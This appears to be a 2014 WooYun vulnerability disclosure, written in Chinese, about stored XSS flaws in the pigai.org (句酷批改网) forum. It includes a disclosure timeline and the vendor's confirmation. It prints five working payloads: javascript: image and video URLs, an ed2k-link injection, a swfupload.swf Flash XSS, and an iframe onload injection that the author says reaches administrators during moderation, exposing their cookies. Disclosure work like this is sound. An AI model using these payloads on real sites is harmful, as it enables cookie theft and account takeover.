漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-073772
漏洞标题：句酷批改网存储型XSS的五处姿势，可打用户和管理员cookie
相关厂商：pigai.org
漏洞作者： 进击的zjx
提交时间：2014-08-26 14:42
修复时间：2014-10-10 14:44
公开时间：2014-10-10 14:44
漏洞类型：xss跨站脚本攻击
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-26： 细节已通知厂商并且等待厂商处理中
2014-08-26： 厂商已经确认，细节仅向厂商公开
2014-09-05： 细节向核心白帽子及相关领域专家公开
2014-09-15： 细节向普通白帽子公开
2014-09-25： 细节向实习白帽子公开
2014-10-10： 细节向公众公开
简要描述：
看到厂家有送礼物，我就滚过来了……
如有任何需要协助修复的地方，请尽管私信！
猜猜能走大厂商流程吗？
详细说明：
句酷批改网http://bbs.pigai.org/
1、论坛发帖里面插入图片（ie 6以下触发）[img]javascript:alert(document.cookie)[/img]
2、论坛帖子里插ed2k://|file|test|'+alert(document.cookie)+'|test/
3、http://bbs.pigai.org/static/image/common/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!
window.x%29{window.x=1;alert%28/wooyun/%29}}//
是个flash XSS ，不用请删掉
4、视频处地址 javascript://baidu.com/%0Aalert(document.domain)
点击即弹
5、在相关发帖处的flash处插入构造好的xss代码：
http://xx.com"><iframe onload=alert(/wooyun/)>/1.swf
这个地方发布需要审核，所以只要管理员审核，就能打到管理员后台！接着就拿着管理员cookie登陆后台啦！！
这儿没时间等，所以上个用户cookie图
漏洞证明：
见详细说明啦
修复方案：
洞比较多，建议升级整个论坛系统。。
求礼物！
版权声明：转载请注明来源 进击的zjx@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：9
确认时间：2014-08-26 14:46
厂商回复：
感谢提醒 马上做升级
最新状态：
暂无